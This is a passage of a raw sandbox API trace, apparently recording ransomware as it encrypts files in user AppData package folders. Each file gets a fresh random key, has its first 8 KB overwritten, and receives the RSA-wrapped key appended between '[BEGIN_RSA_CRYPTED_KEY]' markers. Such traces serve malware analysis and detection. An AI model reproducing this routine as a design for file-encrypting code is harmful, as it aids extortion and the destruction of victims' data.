returned 0x0 [0198.654] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.654] WriteFile (in: hFile=0xedc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.656] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.656] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.656] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.656] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2iYeWZfmSaoV5yOWEeZSR6rOYl1kuCKIbLz3VzM2gYn0Ajwmn1fX7aZByW4x3N+V\nVNjHEWT0xvKnNUhnjRWKZdtiL/lBqv5ecTkJnvD6psjz1+IGKNgepVJ/ZP/8crUu\nWhWYmClMjcYXjsa/6w/x9kInhlgATutCH8GgdYFdrjna2YU6OnIYob/KM+GLdJqe\nDpVlqoaYLJjVFKN6Is2Z9i4iI69e2DcnSe3GJEoHcU8c9+3pozMAlNt9twoCeIGY\niebjuvaZXHdQ8/V+5r4ydGXvH0cWfWINNOM+hTp0j0SJ/xauGGY7pAk2D+hpnVoy\nEEtr2zBQB/CsepgxSIM4Zw==\n", pcchString=0x2e3f9a8) returned 1 [0198.656] WriteFile (in: hFile=0xedc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.657] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.657] WriteFile (in: hFile=0xedc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.657] CloseHandle (hObject=0xedc) returned 1 [0198.659] WriteFile (in: hFile=0xee4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.660] CloseHandle (hObject=0xee4) returned 1 [0198.661] WriteFile (in: hFile=0xee4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.662] CloseHandle (hObject=0xee4) returned 1 [0198.662] WriteFile (in: hFile=0xee4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.663] CloseHandle (hObject=0xee4) returned 1 [0198.664] WriteFile (in: hFile=0xee8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.665] CloseHandle (hObject=0xee8) returned 1 [0198.665] WriteFile (in: hFile=0xee8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.666] CloseHandle (hObject=0xee8) returned 1 [0198.666] WriteFile (in: hFile=0xee8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.667] CloseHandle (hObject=0xee8) returned 1 [0198.668] WriteFile (in: hFile=0xeec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.670] CloseHandle (hObject=0xeec) returned 1 [0198.671] WriteFile (in: hFile=0xeec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.672] CloseHandle (hObject=0xeec) returned 1 [0198.672] WriteFile (in: hFile=0xeec, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.674] CloseHandle (hObject=0xeec) returned 1 [0198.674] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.674] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0198.675] ReadFile (in: hFile=0xf00, lpBuffer=0x59d320, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.675] SetFilePointer (in: hFile=0xf00, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.675] WriteFile (in: hFile=0xf00, lpBuffer=0x59d340*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d340*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.675] SetFilePointer (in: hFile=0xf00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.675] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.675] WriteFile (in: hFile=0xf00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.676] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.676] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.677] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.677] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="L8RB89Sm+dkA/FnSg3wgo6L2RJim5OeFstetf/sq4SB1fOYb8aCJ4M3IJlhYhOii\nFCfH+/qtO+9wukgn6LVYv8/Ssw74M8HcVCouPOP6vuNClQoSlOl9XMWoomGrSOLP\nw9S/VHrabkUuY3CrTWBsy9u9iR/4CIvqHdDRkqfh/+7LMje/BzrQjabSnJm5UYNC\nvyDve3DXBTNew+a4K9mBvbnEsw4SGXGBbGOxgJ+YY2fFTCAE64oyIpcI2gUfRAah\nhpol2gfeFkpDX00e2an29sQETzAxQ810+cZQ9k3Z6wQe1MfAe+a9PtlA8v125Q+z\nCjSa0FHXjdlC5YtAq/BmgQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.677] WriteFile (in: hFile=0xf00, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.677] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.677] WriteFile (in: hFile=0xf00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.677] CloseHandle (hObject=0xf00) returned 1 [0198.683] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.683] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0198.683] ReadFile (in: hFile=0xf00, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.703] SetFilePointer (in: hFile=0xf00, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.703] WriteFile (in: hFile=0xf00, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.704] SetFilePointer (in: hFile=0xf00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.704] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.704] WriteFile (in: hFile=0xf00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.705] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="fahfr7zZ6h34p7TSkZhUQFpy3nL1bT4Yykh52gevGMf3UvIJNPBOwe2mphkGXj4y\nRpBTxhupZ2LfGekCuxYGCfNlXSZWPKe6T8CNkpI4O9KnWssEhHay1uP94OxJNUuJ\n/PovLpQP9QcZZuIRJVDu6GDcrmnzfmKO33Rnx66ljYtu3a1nqm8vDm5j+sxV6/05\no3eqbUvCkNvec/C40KJD4eilVMOQNrjQo1Hs3NkYguLp5X0Njm23IDAhaieDfftn\nRQ4+3sfJrsV34WHTGH24F5YUGW+l9MByV1S5SE06eABBN0J/ABMvGL3+OSNEr8O8\niND4mor/bmxLvqcfDZoNZQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.705] WriteFile (in: hFile=0xf00, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.706] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.706] WriteFile (in: hFile=0xf00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.706] CloseHandle (hObject=0xf00) returned 1 [0198.708] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.708] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0198.709] ReadFile (in: hFile=0xf00, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.742] SetFilePointer (in: hFile=0xf00, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.742] WriteFile (in: hFile=0xf00, lpBuffer=0x2f8f8c8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.742] SetFilePointer (in: hFile=0xf00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.742] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.742] WriteFile (in: hFile=0xf00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.743] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.743] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.743] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.743] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vtIlDzPEgU2Cj3pz3UYq6otTqXQFiwonuNfi2FnIOSuM0P6rXz8wS10FI7KSpQra\nKuRTiBWvupvIBP9mSOPZp/LaIcGImIUdvnfAvGFl9m6gQj517SrgR1QJH/vcjwUZ\nubFqZP2MRBNOCTBx8ACeJpbN8GmIGnjIXWghyZBOIDdIiCHdpszZBq5yqBCRTKZ/\nlsNiyibGJsR12oyiQ9ZIZ32IdG6hRQT0pMvgjhLKROygGahZpq9cIvA541FGaxjK\nFpak0CKQHMWsNyehRs5cph9cat4Pq8AnSY8fkmxQUQ6lT4SMw6/ur9sFkJWDVy+E\n3VgSmK+WC5l7R/mpBflmLQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.743] WriteFile (in: hFile=0xf00, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.743] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.744] WriteFile (in: hFile=0xf00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.744] CloseHandle (hObject=0xf00) returned 1 [0198.745] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.745] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0198.745] ReadFile (in: hFile=0xf00, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.745] SetFilePointer (in: hFile=0xf00, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.746] WriteFile (in: hFile=0xf00, lpBuffer=0x59d2d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.746] SetFilePointer (in: hFile=0xf00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.746] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.746] WriteFile (in: hFile=0xf00, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.747] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.747] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.747] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.747] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GSL+kZSxuUM+vZy6XS8OCvI0ooazlGCFvYgnsxGb0BmTI0s0s2XF2GsZcdJ+UCgc\nI7PAL/7vq91xuao9DpiId4y2Q7HoNjiJ1SuRI+UNTN5qT8VqeDSCX5v3mVb8sUbr\nBY5vC8l3jpXrqIHYyuMhtVYXQ90lEX42e5ExNWEzGqYGSW7Cra8ahidT0Lcov2hn\nHu4QONflfBWw3UYB3t5oLMBIhDf2N0pXDvNcyW0KgU8cNMVHBwr7s0zE+s1UeyN5\nj14QEwaseC1c430Vq32ynQ9U5sVrkx++RW3hapf3KTMk1CtnAqGzqFoPhoSPVoXX\nRr1kBQ3eDSu2UyJ+QVEFpQ==\n", pcchString=0x2e3f9a8) returned 1 [0198.747] WriteFile (in: hFile=0xf00, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.747] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.747] WriteFile (in: hFile=0xf00, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.747] CloseHandle (hObject=0xf00) returned 1 [0198.749] WriteFile (in: hFile=0xf08, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.750] CloseHandle (hObject=0xf08) returned 1 [0198.751] WriteFile (in: hFile=0xf08, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.752] CloseHandle (hObject=0xf08) returned 1 [0198.753] WriteFile (in: hFile=0xf08, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0198.754] CloseHandle (hObject=0xf08) returned 1 [0198.754] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.754] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0198.862] ReadFile (in: hFile=0xf1c, lpBuffer=0x59d2a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.862] SetFilePointer (in: hFile=0xf1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.862] WriteFile (in: hFile=0xf1c, lpBuffer=0x59d250*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0198.862] SetFilePointer (in: hFile=0xf1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0198.862] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.862] WriteFile (in: hFile=0xf1c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.864] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0198.864] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0198.864] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0198.864] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="npJy2LgtL3/k14xN1FNF4AFp0fIZOY5UpaqFRU4NSuy8a3JGiSbZ3KMZ//tSWaC1\nFdngmRFdYXEB3NZiYZ2ShUc1we5EU4b9o5ySpDh4Onw2ns6NZgMprUoS2pNAbGL0\nn2eDV1nznWKbWnA6yfswiqe9dWOdb648hb9LLPifnTShyyC0hq/Ka+IcXqr/QKrK\nSpey8l/eaRNBFHEHSrehZRHbducOeb7fOdrlcWeqwaG5F+XJyA+WmBierSfHQfTB\nyPZqTkOyHD5nUmRRzPxhKeu5TQREAbKlfsLd126pfgIFTj1uk+jkSd68JpI7v7lW\nwQd3tLnCq8IHaOvuT5Yflw==\n", pcchString=0x2e3f9a8) returned 1 [0198.864] WriteFile (in: hFile=0xf1c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0198.865] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.865] WriteFile (in: hFile=0xf1c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0198.865] CloseHandle (hObject=0xf1c) returned 1 [0198.867] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0198.867] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0198.867] ReadFile (in: hFile=0xf1c, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.905] SetFilePointer (in: hFile=0xf1c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0198.905] WriteFile (in: hFile=0xf1c, lpBuffer=0x2f978e8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0198.906] SetFilePointer (in: hFile=0xf1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0198.906] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0198.906] WriteFile (in: hFile=0xf1c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, 